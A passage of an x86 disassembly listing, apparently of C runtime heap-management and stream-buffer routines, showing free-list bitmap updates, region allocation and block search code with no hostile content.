add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 27A0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 289079Ah loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 2790000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 289079Ah nop cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 call near ptr 2790000h nop pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 289079Ah test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2890966h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax 